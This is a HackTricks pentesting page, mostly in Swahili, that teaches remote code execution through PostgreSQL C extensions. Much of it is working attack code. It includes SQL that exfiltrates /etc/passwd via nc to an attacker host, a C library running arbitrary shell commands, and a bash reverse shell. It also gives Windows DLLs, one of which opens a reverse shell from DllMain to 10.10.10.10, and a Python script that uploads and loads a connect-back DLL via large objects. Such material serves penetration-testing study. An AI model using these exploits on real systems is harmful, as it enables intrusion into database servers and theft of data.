RCE with PostgreSQL Extensions

Support HackTricks

PostgreSQL Extensions

PostgreSQL imeandaliwa kwa ufanisi kama kipengele cha msingi, ikiruhusu kuunganishwa kwa nyongeza kama vile zilivyo kazi zilizojengwa ndani. Nyongeza hizi, kimsingi maktaba zilizoandikwa kwa C, zinaongeza uwezo wa hifadhidata kwa kazi, waendeshaji, au aina za ziada.

Kuanzia toleo la 8.1, hitaji maalum linawekwa kwa maktaba za nyongeza: lazima ziandikwe kwa kichwa maalum. Bila hii, PostgreSQL haitazitekeleza, kuhakikisha kuwa nyongeza zinazofaa na zinazoweza kuwa salama pekee ndizo zinatumika.

Pia, kumbuka kwamba ikiwa hujui jinsi ya kupakia faili kwa mwathirika kwa kutumia PostgreSQL unapaswa kusoma chapisho hili.

RCE katika Linux

Kwa maelezo zaidi angalia: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

Utendaji wa amri za mfumo kutoka PostgreSQL 8.1 na toleo la awali ni mchakato ambao umeandikwa wazi na ni rahisi. Inawezekana kutumia hii: Metasploit module.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Andika faili la binary kutoka base64

Ili kuandika binary kwenye faili katika postgres unaweza kuhitaji kutumia base64, hii itakuwa na msaada kwa jambo hilo:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

Hata hivyo, wakati ilipofanywa kwenye toleo kubwa kosa lifuatalo lilionekana:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

This error is explained in the PostgreSQL documentation:

Ili kuhakikisha kwamba faili la kitu kilichopakiwa kwa njia ya kidijitali halijapakiwa kwenye seva isiyofaa, PostgreSQL inakagua kwamba faili ina "block ya kichawi" yenye maudhui yanayofaa. Hii inaruhusu seva kugundua kutokubaliana dhahiri, kama vile msimbo ulioandikwa kwa toleo tofauti kuu la PostgreSQL. Block ya kichawi inahitajika kuanzia PostgreSQL 8.2. Ili kujumuisha block ya kichawi, andika hii katika moja (na moja tu) ya faili za chanzo za moduli, baada ya kujumuisha kichwa fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Tangu toleo la PostgreSQL 8.2, mchakato wa mshambuliaji kutumia mfumo umefanywa kuwa mgumu zaidi. Mshambuliaji anahitajika ama kutumia maktaba ambayo tayari ipo kwenye mfumo au kupakia maktaba maalum. Maktaba hii maalum inapaswa kuandikwa dhidi ya toleo kuu linalofaa la PostgreSQL na inapaswa kujumuisha "block ya kichawi" maalum. Hatua hii inaongeza kwa kiasi kikubwa ugumu wa kutumia mifumo ya PostgreSQL, kwani inahitaji uelewa wa kina wa usanifu wa mfumo na ulinganifu wa toleo.

Compile the library

Get the PsotgreSQL version with:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

Ili kuhakikisha ufanisi, ni muhimu kwamba toleo kuu liendane. Hivyo basi, kuunda maktaba na toleo lolote ndani ya safu ya 9.6.x inapaswa kuhakikisha uunganisho mzuri.

Ili kufunga toleo hilo katika mfumo wako:

apt install postgresql postgresql-server-dev-9.6

Na kuunda maktaba:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

Kisha pakia maktaba iliyokusanywa na uendeleze amri kwa:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

Unaweza kupata hii maktaba iliyotayarishwa kwa toleo tofauti za PostgreSQL na hata unaweza kujiandaa mchakato huu (ikiwa una ufikiaji wa PostgreSQL) kwa:

RCE katika Windows

DLL ifuatayo inachukua kama ingizo jina la binary na nambari ya mara unayotaka kuitekeleza na inatekeleza:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

Unaweza kupata DLL iliyokusanywa katika hii zip:

Unaweza kuonyesha kwa hii DLL ni binary ipi itatekelezwa na idadi ya mara ya kuitekeleza, katika mfano huu itatekeleza calc.exe mara 2:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

Katika hapa unaweza kupata shell hii ya kurudi:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

Kumbuka jinsi katika kesi hii kode mbaya iko ndani ya kazi ya DllMain. Hii inamaanisha kwamba katika kesi hii si lazima kutekeleza kazi iliyopakiwa katika postgresql, tu kupakia DLL kutatekeleza reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

The PolyUDF project ni mahali pazuri pa kuanzia na mradi kamili wa MS Visual Studio na maktaba inayotumika (ikiwemo: command eval, exec na cleanup) yenye msaada wa toleo nyingi.

RCE katika toleo jipya la Prostgres

Katika matoleo ya hivi karibuni ya PostgreSQL, vizuizi vimewekwa ambapo superuser amepigwa marufuku kuchaji faili za maktaba ya pamoja isipokuwa kutoka kwenye directories maalum, kama vile C:\Program Files\PostgreSQL\11\lib kwenye Windows au /var/lib/postgresql/11/lib kwenye mifumo ya *nix. Hizi directories zime lindwa dhidi ya operesheni za kuandika na ama akaunti za NETWORK_SERVICE au postgres.

Licha ya vizuizi hivi, inawezekana kwa superuser wa database aliyeidhinishwa kuandika faili za binary kwenye mfumo wa faili kwa kutumia "vitu vikubwa." Uwezo huu unapanuka hadi kuandika ndani ya directory ya C:\Program Files\PostgreSQL\11\data, ambayo ni muhimu kwa operesheni za database kama vile kusasisha au kuunda meza.

Uthibitisho mkubwa unatokana na amri ya CREATE FUNCTION, ambayo inaruhusu kupita kwenye directory hadi kwenye directory ya data. Kwa hivyo, mshambuliaji aliyeidhinishwa anaweza kutumia kupita hapa kuandika faili la maktaba ya pamoja kwenye directory ya data na kisha kuchaji. Huu unyakuzi unamwezesha mshambuliaji kutekeleza msimbo wa kawaida, akipata utekelezaji wa msimbo wa asili kwenye mfumo.

Mchakato wa shambulio

Kwanza kabisa unahitaji kutumia vitu vikubwa kupakia dll. Unaweza kuona jinsi ya kufanya hivyo hapa:

Big Binary Files Upload (PostgreSQL)

Mara tu unapokuwa umepakia nyongeza (ikiwa na jina la poc.dll kwa mfano huu) kwenye directory ya data unaweza kuichaji na:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Note that you don't need to append the .dll extension as the create function will add it.

For more information read the original publication here. In that publication this was the code use to generate the postgres extension (ili kujifunza jinsi ya kukusanya nyongeza ya postgres soma toleo lolote la awali). In the same page this exploit to automate this technique was given:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

References

Support HackTricks

Last updated